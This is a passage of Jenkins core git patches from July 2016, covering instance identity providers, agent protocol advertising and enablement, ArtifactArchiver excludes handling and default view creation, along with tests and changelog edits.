KeyUtils.fingerprint(key); + if (key == null) { + return null; + } + // TODO replace with org.jenkinsci.remoting.util.KeyUtils once JENKINS-36871 changes are merged + try { + MessageDigest digest = MessageDigest.getInstance("MD5"); + digest.reset(); + byte[] bytes = digest.digest(key.getEncoded()); + StringBuilder result = new StringBuilder(Math.max(0, bytes.length * 3 - 1)); + for (int i = 0; i < bytes.length; i++) { + if (i > 0) { + result.append(':'); + } + int b = bytes[i] & 0xFF; + result.append(Character.forDigit((b>>4)&0x0f, 16)).append(Character.forDigit(b&0xf, 16)); + } + return result.toString(); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("JLS mandates MD5 support"); + } } } diff --git a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java index 6bd05190e0..953e027f00 100644 --- a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java +++ b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java @@ -30,6 +30,7 @@ import java.security.PrivateKey; import java.security.PublicKey; import java.security.cert.X509Certificate; import javax.annotation.CheckForNull; +import javax.annotation.Nullable; /** * A source of instance identity. @@ -43,17 +44,21 @@ public abstract class InstanceIdentityProvider Date: Tue, 26 Jul 2016 17:44:31 +0100 Subject: [PATCH 130/811] [JENKINS-36871] Add a test for the slave agent listener --- .../hudson/TcpSlaveAgentListener/index.jelly | 1 + .../hudson/TcpSlaveAgentListenerTest.java | 70 +++++++++++++++++++ 2 files changed, 71 insertions(+) create mode 100644 test/src/test/java/hudson/TcpSlaveAgentListenerTest.java diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index 1aaa2aa4b3..ae72aa3b78 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -24,6 +24,7 @@ THE SOFTWARE. + + false diff --git a/war/pom.xml b/war/pom.xml index 485cf5e01b..c128b33a5a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -408,7 +408,7 @@ THE SOFTWARE. org.jenkins-ci.plugins bouncycastle-api - 2.16.0-20160725.164257-1 + 2.16.0 hpi -- GitLab From 9ceab7a66acc1169ce107d99346934c12c32df55 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 27 Jul 2016 09:30:32 +0100 Subject: [PATCH 140/811] [JENKINS-36922,JENKINS-36923] Noting merges --- changelog.html | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/changelog.html b/changelog.html index c9c9677174..f4e9c336d3 100644 --- a/changelog.html +++ b/changelog.html @@ -56,6 +56,12 @@ Upcoming changes -- GitLab From 78490d75c72eedea78690acbb8d0967fdb43c796 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 27 Jul 2016 10:12:31 +0100 Subject: [PATCH 141/811] [JENKINS-36871] Tighten the new API contract with regard to uncaught exceptions --- .../identity/InstanceIdentityProvider.java | 93 +++++++++++++++++-- 1 file changed, 84 insertions(+), 9 deletions(-) diff --git a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java index f6c41a53d0..1d7be2732d 100644 --- a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java +++ b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java @@ -35,6 +35,8 @@ import java.security.interfaces.ECPrivateKey; import java.security.interfaces.ECPublicKey; import java.security.interfaces.RSAPrivateKey; import java.security.interfaces.RSAPublicKey; +import java.util.logging.Level; +import java.util.logging.Logger; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -47,6 +49,11 @@ import javax.annotation.Nonnull; */ public abstract class InstanceIdentityProvider implements ExtensionPoint { + + /** + * Our logger. + */ + private static final Logger LOGGER = Logger.getLogger(InstanceIdentityProvider.class.getName()); /** * RSA keys. */ @@ -146,11 +153,23 @@ public abstract class InstanceIdentityProvider InstanceIdentityProvider get( @Nonnull KeyTypes type) { for (InstanceIdentityProvider provider : ExtensionList.lookup(InstanceIdentityProvider.class)) { - KeyPair keyPair = provider.getKeyPair(); - if (keyPair != null - && type.pubKeyType.isInstance(keyPair.getPublic()) - && type.privKeyType.isInstance(keyPair.getPrivate())) { - return (InstanceIdentityProvider) provider; + try { + KeyPair keyPair = provider.getKeyPair(); + if (keyPair != null + && type.pubKeyType.isInstance(keyPair.getPublic()) + && type.privKeyType.isInstance(keyPair.getPrivate())) { + return (InstanceIdentityProvider) provider; + } + } catch (RuntimeException e) { + LOGGER.log(Level.WARNING, + "Instance identity provider " + provider + " propagated a runtime exception", e); + } catch (Error e) { + LOGGER.log(Level.INFO, + "Encountered an error while consulting instance identity provider " + provider, e); + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, + "Instance identity provider " + provider + " propagated an uncaught exception", e); } } return null; @@ -185,7 +204,21 @@ public abstract class InstanceIdentityProvider provider = get(this); - return provider == null ? null : provider.getKeyPair(); + try { + return provider == null ? null : provider.getKeyPair(); + } catch (RuntimeException e) { + LOGGER.log(Level.WARNING, + "Instance identity provider " + provider + " propagated a runtime exception", e); + return null; + } catch (Error e) { + LOGGER.log(Level.INFO, + "Encountered an error while consulting instance identity provider " + provider, e); + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, + "Instance identity provider " + provider + " propagated an uncaught exception", e); + return null; + } } /** @@ -196,7 +229,21 @@ public abstract class InstanceIdentityProvider provider = get(this); - return provider == null ? null : provider.getPublicKey(); + try { + return provider == null ? null : provider.getPublicKey(); + } catch (RuntimeException e) { + LOGGER.log(Level.WARNING, + "Instance identity provider " + provider + " propagated a runtime exception", e); + return null; + } catch (Error e) { + LOGGER.log(Level.INFO, + "Encountered an error while consulting instance identity provider " + provider, e); + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, + "Instance identity provider " + provider + " propagated an uncaught exception", e); + return null; + } } /** @@ -207,7 +254,21 @@ public abstract class InstanceIdentityProvider provider = get(this); - return provider == null ? null : provider.getPrivateKey(); + try { + return provider == null ? null : provider.getPrivateKey(); + } catch (RuntimeException e) { + LOGGER.log(Level.WARNING, + "Instance identity provider " + provider + " propagated a runtime exception", e); + return null; + } catch (Error e) { + LOGGER.log(Level.INFO, + "Encountered an error while consulting instance identity provider " + provider, e); + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, + "Instance identity provider " + provider + " propagated an uncaught exception", e); + return null; + } } /** @@ -219,7 +280,21 @@ public abstract class InstanceIdentityProvider provider = get(this); - return provider == null ? null : provider.getCertificate(); + try { + return provider == null ? null : provider.getCertificate(); + } catch (RuntimeException e) { + LOGGER.log(Level.WARNING, + "Instance identity provider " + provider + " propagated a runtime exception", e); + return null; + } catch (Error e) { + LOGGER.log(Level.INFO, + "Encountered an error while consulting instance identity provider " + provider, e); + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, + "Instance identity provider " + provider + " propagated an uncaught exception", e); + return null; + } } } -- GitLab From a8ee5752b9913f45350e0e795c5cec2aaa12b7ac Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 27 Jul 2016 14:35:07 +0100 Subject: [PATCH 142/811] Noting merge of PR#2480 and integrate instance-identity 2.1 release --- changelog.html | 2 +- .../model/identity/IdentityRootAction.java | 2 +- .../identity/InstanceIdentityProvider.java | 2 +- .../hudson/TcpSlaveAgentListenerTest.java | 24 ------------------- .../identity/IdentityRootActionTest.java | 24 ------------------- war/pom.xml | 2 +- 6 files changed, 4 insertions(+), 52 deletions(-) diff --git a/changelog.html b/changelog.html index f4e9c336d3..77338f5fec 100644 --- a/changelog.html +++ b/changelog.html @@ -60,7 +60,7 @@ Upcoming changes Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin (issue 36923)
    • - Upgrade to instance-identity module 2.0 + Upgrade to instance-identity module 2.1 (issue 36923)
    diff --git a/core/src/main/java/jenkins/model/identity/IdentityRootAction.java b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java index 12510dbd29..6497c012d1 100644 --- a/core/src/main/java/jenkins/model/identity/IdentityRootAction.java +++ b/core/src/main/java/jenkins/model/identity/IdentityRootAction.java @@ -14,7 +14,7 @@ import org.apache.commons.codec.binary.Base64; * {@code X-Instance-Identity} response header, also exposes the fingerprint of the public key so that people * can verify a fingerprint of a master before connecting to it. * - * @since FIXME + * @since 2.16 */ @Extension public class IdentityRootAction implements UnprotectedRootAction { diff --git a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java index 1d7be2732d..c65e27fa90 100644 --- a/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java +++ b/core/src/main/java/jenkins/model/identity/InstanceIdentityProvider.java @@ -45,7 +45,7 @@ import javax.annotation.Nonnull; * * @param the type of public key. * @param the type of private key. - * @since FIXME + * @since 2.16 */ public abstract class InstanceIdentityProvider implements ExtensionPoint { diff --git a/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java b/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java index 4619570452..596836c961 100644 --- a/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java +++ b/test/src/test/java/hudson/TcpSlaveAgentListenerTest.java @@ -43,28 +43,4 @@ public class TcpSlaveAgentListenerTest { Page p = r.createWebClient().goTo("tcpSlaveAgentListener", "text/plain"); assertThat(p.getWebResponse().getResponseHeaderValue("X-Instance-Identity"), notNullValue()); } - - @TestExtension // TODO remove once instance-identity with provider impl embedded in war - public static class ProviderImpl extends InstanceIdentityProvider { - - private final KeyPair keyPair; - - public ProviderImpl() throws NoSuchAlgorithmException, InvalidKeySpecException { - KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA"); - generator.initialize(1024); - this.keyPair = generator.generateKeyPair(); - } - - @Nullable - @Override - public KeyPair getKeyPair() { - return keyPair; - } - - @Nullable - @Override - public X509Certificate getCertificate() { - return null; - } - } } diff --git a/test/src/test/java/jenkins/model/identity/IdentityRootActionTest.java b/test/src/test/java/jenkins/model/identity/IdentityRootActionTest.java index a494b48832..70bd352619 100644 --- a/test/src/test/java/jenkins/model/identity/IdentityRootActionTest.java +++ b/test/src/test/java/jenkins/model/identity/IdentityRootActionTest.java @@ -30,28 +30,4 @@ public class IdentityRootActionTest { assertThat(p.getElementById("fingerprint").getTextContent(), containsString(ExtensionList.lookup(UnprotectedRootAction.class).get(IdentityRootAction.class).getFingerprint())); } - - @TestExtension // TODO remove once instance-identity with provider impl embedded in war - public static class ProviderImpl extends InstanceIdentityProvider { - - private final KeyPair keyPair; - - public ProviderImpl() throws NoSuchAlgorithmException, InvalidKeySpecException { - KeyPairGenerator generator = KeyPairGenerator.getInstance("RSA"); - generator.initialize(1024); - this.keyPair = generator.generateKeyPair(); - } - - @Nullable - @Override - public KeyPair getKeyPair() { - return keyPair; - } - - @Nullable - @Override - public X509Certificate getCertificate() { - return null; - } - } } diff --git a/war/pom.xml b/war/pom.xml index c128b33a5a..3579e55dc9 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -99,7 +99,7 @@ THE SOFTWARE. org.jenkins-ci.modules instance-identity - 2.0 + 2.1 org.jenkins-ci.modules -- GitLab From cd2416745847c87ef630ad89367c1b63450dbe18 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Wed, 27 Jul 2016 10:29:25 -0400 Subject: [PATCH 143/811] [JENKINS-29922] Correct the default value handling of ArtifactArchiver.excludes. --- .../java/hudson/tasks/ArtifactArchiver.java | 7 ++-- test/pom.xml | 6 ++++ .../hudson/tasks/ArtifactArchiverTest.java | 35 ++++++++++--------- 3 files changed, 29 insertions(+), 19 deletions(-) diff --git a/core/src/main/java/hudson/tasks/ArtifactArchiver.java b/core/src/main/java/hudson/tasks/ArtifactArchiver.java index 7ebc1a4a9a..ca1f154f15 100644 --- a/core/src/main/java/hudson/tasks/ArtifactArchiver.java +++ b/core/src/main/java/hudson/tasks/ArtifactArchiver.java @@ -50,6 +50,7 @@ import java.util.HashMap; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; +import javax.annotation.CheckForNull; import net.sf.json.JSONObject; import javax.annotation.Nonnull; @@ -76,7 +77,7 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { /** * Possibly null 'excludes' pattern as in Ant. */ - private String excludes = ""; + private String excludes; @Deprecated private Boolean latestOnly; @@ -154,11 +155,11 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { return artifacts; } - public String getExcludes() { + public @CheckForNull String getExcludes() { return excludes; } - @DataBoundSetter public final void setExcludes(String excludes) { + @DataBoundSetter public final void setExcludes(@CheckForNull String excludes) { this.excludes = Util.fixEmptyAndTrim(excludes); } diff --git a/test/pom.xml b/test/pom.xml index 384daa39a4..9693291958 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -132,6 +132,12 @@ THE SOFTWARE. 1.2-beta-4 test + + org.jenkins-ci.plugins + structs + 1.2 + test + org.jvnet.mock-javamail mock-javamail diff --git a/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java b/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java index 77008ff121..9ce04280ae 100644 --- a/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java +++ b/test/src/test/java/hudson/tasks/ArtifactArchiverTest.java @@ -27,8 +27,8 @@ package hudson.tasks; import hudson.AbortException; import hudson.FilePath; import hudson.Launcher; +import hudson.Util; import hudson.model.AbstractBuild; -import hudson.model.AbstractProject; import hudson.model.BuildListener; import hudson.model.FreeStyleBuild; import hudson.model.FreeStyleProject; @@ -40,6 +40,7 @@ import java.net.HttpURLConnection; import java.util.Collections; import java.util.List; import jenkins.util.VirtualFile; +import org.jenkinsci.plugins.structs.describable.DescribableModel; import static org.junit.Assert.*; import static org.junit.Assume.*; @@ -155,19 +156,7 @@ public class ArtifactArchiverTest { assertFalse(kids[0].exists()); j.createWebClient().assertFails(b.getUrl() + "artifact/hack", HttpURLConnection.HTTP_NOT_FOUND); } - - private void runNewBuildAndStartUnitlIsCreated(AbstractProject project) throws InterruptedException{ - int buildNumber = project.getNextBuildNumber(); - project.scheduleBuild2(0); - int count = 0; - while(project.getBuildByNumber(buildNumber)==null && count<50){ - Thread.sleep(100); - count ++; - } - if(project.getBuildByNumber(buildNumber)==null) - fail("Build " + buildNumber + " did not created."); - } - + static class CreateArtifact extends TestBuilder { public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws IOException, InterruptedException { build.getWorkspace().child("f").write("content", "UTF-8"); @@ -197,8 +186,22 @@ public class ArtifactArchiverTest { assertFalse(project.getBuildByNumber(2).getHasArtifacts()); } - - + @Issue("JENKINS-29922") + @Test + public void configRoundTrip() throws Exception { + ArtifactArchiver aa = new ArtifactArchiver("*.txt"); + assertNull(Util.fixEmpty(aa.getExcludes())); // null and "" behave the same, we do not care which it is + assertEquals("{artifacts=*.txt}", DescribableModel.uninstantiate_(aa).toString()); // but we do care that excludes is considered to be at the default + aa = j.configRoundtrip(aa); + assertEquals("*.txt", aa.getArtifacts()); + assertNull(Util.fixEmpty(aa.getExcludes())); + assertEquals("{artifacts=*.txt}", DescribableModel.uninstantiate_(aa).toString()); + aa.setExcludes("README.txt"); + aa = j.configRoundtrip(aa); + assertEquals("*.txt", aa.getArtifacts()); + assertEquals("README.txt", aa.getExcludes()); + assertEquals("{artifacts=*.txt, excludes=README.txt}", DescribableModel.uninstantiate_(aa).toString()); // TreeMap, so attributes will be sorted + } static class CreateDefaultExcludesArtifact extends TestBuilder { public boolean perform(AbstractBuild build, Launcher launcher, BuildListener listener) throws IOException, InterruptedException { -- GitLab From 3a4ba01622076d399adc5975ff6d169af50b141c Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 27 Jul 2016 15:41:12 +0100 Subject: [PATCH 144/811] [FIXED JENKINS-36996] Hide the Java Web Start launcher when the TCP agent port is disabled --- .../main/java/hudson/slaves/JNLPLauncher.java | 31 +++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/slaves/JNLPLauncher.java b/core/src/main/java/hudson/slaves/JNLPLauncher.java index 37218e4fac..a58242b3d5 100644 --- a/core/src/main/java/hudson/slaves/JNLPLauncher.java +++ b/core/src/main/java/hudson/slaves/JNLPLauncher.java @@ -23,10 +23,13 @@ */ package hudson.slaves; +import hudson.Extension; +import hudson.Util; import hudson.model.Descriptor; +import hudson.model.DescriptorVisibilityFilter; import hudson.model.TaskListener; -import hudson.Util; -import hudson.Extension; +import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; import jenkins.model.Jenkins; import org.jenkinsci.Symbol; import org.kohsuke.stapler.DataBoundConstructor; @@ -94,4 +97,28 @@ public class JNLPLauncher extends ComputerLauncher { } }; + /** + * Hides the JNLP launcher when the JNLP agent port is not enabled. + * @since FIXME + */ + @Extension + public static class DescriptorVisibilityFilterImpl extends DescriptorVisibilityFilter { + + /** + * {@inheritDoc} + */ + @Override + public boolean filter(@CheckForNull Object context, @Nonnull Descriptor descriptor) { + return descriptor.clazz != JNLPLauncher.class || Jenkins.getInstance().getTcpSlaveAgentListener() != null; + } + + /** + * {@inheritDoc} + */ + @Override + public boolean filterType(@Nonnull Class contextClass, @Nonnull Descriptor descriptor) { + return descriptor.clazz != JNLPLauncher.class || Jenkins.getInstance().getTcpSlaveAgentListener() != null; + } + } + } -- GitLab From 404384eefe9e5abf65ae68b4b1bf0accf3dff8eb Mon Sep 17 00:00:00 2001 From: Alvaro Lobato Date: Wed, 27 Jul 2016 12:31:29 -0400 Subject: [PATCH 145/811] [JENKINS-36908] Make sure that the All view is created (#2472) * [JENKINS-36908] Make sure that the All view is created * Revert old All view behaviour * Fix changed comment * Tests * Delete unwanted file. --- core/src/main/java/jenkins/model/Jenkins.java | 5 +---- test/src/test/java/hudson/model/ViewTest.java | 16 ++++++++++++++++ .../ViewTest/testAllViewCreatedIfNoPrimary.zip | Bin 0 -> 364 bytes .../ViewTest/testAllViewNotCreatedIfPrimary.zip | Bin 0 -> 378 bytes 4 files changed, 17 insertions(+), 4 deletions(-) create mode 100644 test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip create mode 100644 test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index e01d3085f7..1852e7c110 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -2868,15 +2868,12 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve // initialize views by inserting the default view if necessary // this is both for clean Jenkins and for backward compatibility. - if(views.size()==0) { + if(views.size()==0 || primaryView==null) { View v = new AllView(Messages.Hudson_ViewName()); setViewOwner(v); views.add(0,v); primaryView = v.getViewName(); } - if (primaryView==null) { - primaryView = views.get(0).getViewName(); - } if (useSecurity!=null && !useSecurity) { // forced reset to the unsecure mode. diff --git a/test/src/test/java/hudson/model/ViewTest.java b/test/src/test/java/hudson/model/ViewTest.java index 36841da295..82314e9841 100644 --- a/test/src/test/java/hudson/model/ViewTest.java +++ b/test/src/test/java/hudson/model/ViewTest.java @@ -64,6 +64,7 @@ import org.jvnet.hudson.test.JenkinsRule.WebClient; import org.jvnet.hudson.test.MockAuthorizationStrategy; import org.jvnet.hudson.test.MockFolder; import org.jvnet.hudson.test.TestExtension; +import org.jvnet.hudson.test.recipes.LocalData; import org.kohsuke.stapler.DataBoundConstructor; /** @@ -505,5 +506,20 @@ public class ViewTest { private void assertCheckJobName(ViewGroup context, String name, FormValidation.Kind expected) { assertEquals(expected, context.getPrimaryView().doCheckJobName(name).kind); } + + + @Test + @Issue("JENKINS-36908") + @LocalData + public void testAllViewCreatedIfNoPrimary() throws Exception { + assertNotNull(j.getInstance().getView("All")); + } + + @Test + @Issue("JENKINS-36908") + @LocalData + public void testAllViewNotCreatedIfPrimary() throws Exception { + assertNull(j.getInstance().getView("All")); + } } diff --git a/test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip b/test/src/test/resources/hudson/model/ViewTest/testAllViewCreatedIfNoPrimary.zip new file mode 100644 index 0000000000000000000000000000000000000000..7e32a82640eaa9259f3a158b50a35a5c216737c0 GIT binary patch literal 364 zcmWIWW@Zs#U|`^2IN|-Qab1q9taNshJVKjWm1;*WL{e{8$4rDan_TltcT z`);c*ENi;I?Zm57l|imq96^6h1^)?Id`yJ*QituH>I30YCcM99W}GmzXIpkVd)2Wu zL4Rh(be*qqbK1)g;LXS+$BZi+B!D5pzyS0u!;(f23prF+A)$g6A_3m4Y#^14Ko|g| I*+7~Z0H8>MF#rGn literal 0 HcmV?d00001 diff --git a/test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip b/test/src/test/resources/hudson/model/ViewTest/testAllViewNotCreatedIfPrimary.zip new file mode 100644 index 0000000000000000000000000000000000000000..397d6d14a44666ed3e5f0f52abb61fe3e055f76d GIT binary patch literal 378 zcmWIWW@Zs#U|`^2PzwI-;S$Mw`~r~I&d9*P#UR6woS&DLnXXrnn-dzs$-w*|e@3`m z!Hn?I3T_5QmajlXV7<8k8?z1@h}`)rdPu}3G;2HGCL`5gF5NA6du#JpH;LTa{P@Xx zZTHX>&JKq!-+g&+?w4mK7KJPudH1cG_cU1b!R-r?|6{}F%kMruJu8{(uW_l&9?g~u z?%gw|Yo6nr=KSKplh;4BgE~87X4racS(mu(w2BVvLiVGqE4($YKArOF*Aa8(p5uFd zWR&hqU9~-rCD%V=xuL-9eT6)0^B!*fQ+udotBGS|*@6OwUa>uVzpiJT{PAg#~waJu@?4|z~Xl&}%tYZxDW@M6M#uX|O!0=&U0Q#L_Nh64b97e2= XFhUET0B=?{kV-}%3;@z1Ak7Q_)<=uH literal 0 HcmV?d00001 -- GitLab From 8e536513e8d7b08cda63201ba14ee6e30289d713 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Wed, 27 Jul 2016 20:46:55 +0100 Subject: [PATCH 146/811] [JENKINS-36996] Noting merge --- changelog.html | 3 +++ core/src/main/java/hudson/slaves/JNLPLauncher.java | 3 ++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 77338f5fec..fb81e637dc 100644 --- a/changelog.html +++ b/changelog.html @@ -62,6 +62,9 @@ Upcoming changes
  • Upgrade to instance-identity module 2.1 (issue 36923) +
  • + Hide the Java Web Start launcher when the TCP agent port is disabled + (issue 36996)
diff --git a/core/src/main/java/hudson/slaves/JNLPLauncher.java b/core/src/main/java/hudson/slaves/JNLPLauncher.java index a58242b3d5..c83382f796 100644 --- a/core/src/main/java/hudson/slaves/JNLPLauncher.java +++ b/core/src/main/java/hudson/slaves/JNLPLauncher.java @@ -99,7 +99,8 @@ public class JNLPLauncher extends ComputerLauncher { /** * Hides the JNLP launcher when the JNLP agent port is not enabled. - * @since FIXME + * + * @since 2.16 */ @Extension public static class DescriptorVisibilityFilterImpl extends DescriptorVisibilityFilter { -- GitLab From 389b05752c2f85d191950a5d3db95bc95707a661 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 28 Jul 2016 12:58:52 +0100 Subject: [PATCH 147/811] [JENKINS-37031] Advertise the enabled Agent Protocols to enable faster connection negotiation --- .../java/hudson/TcpSlaveAgentListener.java | 26 +++++++++++++++++-- .../hudson/TcpSlaveAgentListener/index.jelly | 2 ++ 2 files changed, 26 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 76d95484c5..752d63bea2 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -25,7 +25,6 @@ package hudson; import java.nio.charset.Charset; import java.security.interfaces.RSAPublicKey; -import java.security.interfaces.RSAPrivateKey; import javax.annotation.Nullable; import jenkins.model.identity.InstanceIdentityProvider; import jenkins.util.SystemProperties; @@ -112,7 +111,7 @@ public final class TcpSlaveAgentListener extends Thread { /** * Gets the Base64 encoded public key that forms part of this instance's identity keypair. * @return the Base64 encoded public key - * @since FIXME + * @since 2.16 */ @Nullable public String getIdentityPublicKey() { @@ -120,6 +119,29 @@ public final class TcpSlaveAgentListener extends Thread { return key == null ? null : new String(Base64.encodeBase64(key.getEncoded()), Charset.forName("UTF-8")); } + /** + * Returns a comma separated list of the enabled {@link AgentProtocol#getName()} implementations so that + * clients can avoid creating additional work for the server attempting to connect with unsupported protocols. + * + * @return a comma separated list of the enabled {@link AgentProtocol#getName()} implementations + * @since FIXME + */ + public String getAgentProtocolNames() { + StringBuilder result = new StringBuilder(); + boolean first = true; + for (AgentProtocol p : AgentProtocol.all()) { + String name = p.getName(); + if (name != null) { + if (first) { + first = false; + } else { + result.append(", "); + } + result.append(name); + } + } + return result.toString(); + } @Override public void run() { diff --git a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly index ae72aa3b78..63e3d8de4e 100644 --- a/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly +++ b/core/src/main/resources/hudson/TcpSlaveAgentListener/index.jelly @@ -37,6 +37,8 @@ THE SOFTWARE. + + Jenkins -- GitLab From 17894bc16216fa495b611224454eff8014065491 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 28 Jul 2016 15:36:33 +0100 Subject: [PATCH 148/811] [FIXED JENKINS-37032] Add a UI to allow controling the agent protocol enablement --- .../java/hudson/TcpSlaveAgentListener.java | 39 +++++---- .../security/GlobalSecurityConfiguration.java | 19 +++++ core/src/main/java/jenkins/AgentProtocol.java | 18 ++++ core/src/main/java/jenkins/model/Jenkins.java | 83 +++++++++++++++++++ .../hudson/TcpSlaveAgentListener/index.jelly | 2 +- .../help-agentProtocol.html | 4 + .../GlobalSecurityConfiguration/index.groovy | 15 ++++ 7 files changed, 162 insertions(+), 18 deletions(-) create mode 100644 core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-agentProtocol.html diff --git a/core/src/main/java/hudson/TcpSlaveAgentListener.java b/core/src/main/java/hudson/TcpSlaveAgentListener.java index 752d63bea2..6e8d1d0bf8 100644 --- a/core/src/main/java/hudson/TcpSlaveAgentListener.java +++ b/core/src/main/java/hudson/TcpSlaveAgentListener.java @@ -26,6 +26,7 @@ package hudson; import java.nio.charset.Charset; import java.security.interfaces.RSAPublicKey; import javax.annotation.Nullable; +import jenkins.model.Jenkins; import jenkins.model.identity.InstanceIdentityProvider; import jenkins.util.SystemProperties; import hudson.slaves.OfflineCause; @@ -50,6 +51,7 @@ import java.util.logging.Level; import java.util.logging.Logger; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; +import org.apache.commons.lang.StringUtils; /** * Listens to incoming TCP connections from JNLP agents and CLI. @@ -127,20 +129,7 @@ public final class TcpSlaveAgentListener extends Thread { * @since FIXME */ public String getAgentProtocolNames() { - StringBuilder result = new StringBuilder(); - boolean first = true; - for (AgentProtocol p : AgentProtocol.all()) { - String name = p.getName(); - if (name != null) { - if (first) { - first = false; - } else { - result.append(", "); - } - result.append(name); - } - } - return result.toString(); + return StringUtils.join(Jenkins.getInstance().getAgentProtocols(), ", "); } @Override @@ -218,9 +207,13 @@ public final class TcpSlaveAgentListener extends Thread { if(s.startsWith("Protocol:")) { String protocol = s.substring(9); AgentProtocol p = AgentProtocol.of(protocol); - if (p!=null) - p.handle(this.s); - else + if (p!=null) { + if (Jenkins.getInstance().getAgentProtocols().contains(protocol)) { + p.handle(this.s); + } else { + error(out, "Disabled protocol:" + s); + } + } else error(out, "Unknown protocol:" + s); } else { error(out, "Unrecognized protocol: "+s); @@ -268,6 +261,18 @@ public final class TcpSlaveAgentListener extends Thread { } } + /** + * Allow essential {@link AgentProtocol} implementations (basically {@link PingAgentProtocol}) + * to be always enabled. + * + * @return {@code true} if the protocol can never be disbaled. + * @since FIXME + */ + @Override + public boolean isRequired() { + return true; + } + @Override public String getName() { return "Ping"; diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index 36edde3f4e..5fa446fef7 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -35,6 +35,8 @@ import hudson.model.ManagementLink; import hudson.util.FormApply; import java.io.IOException; +import java.util.Set; +import java.util.TreeSet; import java.util.logging.Level; import java.util.logging.Logger; @@ -43,6 +45,7 @@ import javax.servlet.ServletException; import jenkins.model.GlobalConfigurationCategory; import jenkins.model.Jenkins; import jenkins.util.ServerTcpPort; +import net.sf.json.JSONArray; import net.sf.json.JSONObject; import org.jenkinsci.Symbol; @@ -69,6 +72,10 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr return Jenkins.getInstance().getSlaveAgentPort(); } + public Set getAgentProtocols() { + return Jenkins.getInstance().getAgentProtocols(); + } + public boolean isDisableRememberMe() { return Jenkins.getInstance().isDisableRememberMe(); } @@ -100,6 +107,18 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr } catch (IOException e) { throw new hudson.model.Descriptor.FormException(e, "slaveAgentPortType"); } + Set agentProtocols = new TreeSet<>(); + if (security.has("agentProtocol")) { + Object protocols = security.get("agentProtocol"); + if (protocols instanceof JSONArray) { + for (int i = 0; i < ((JSONArray) protocols).size(); i++) { + agentProtocols.add(((JSONArray) protocols).getString(i)); + } + 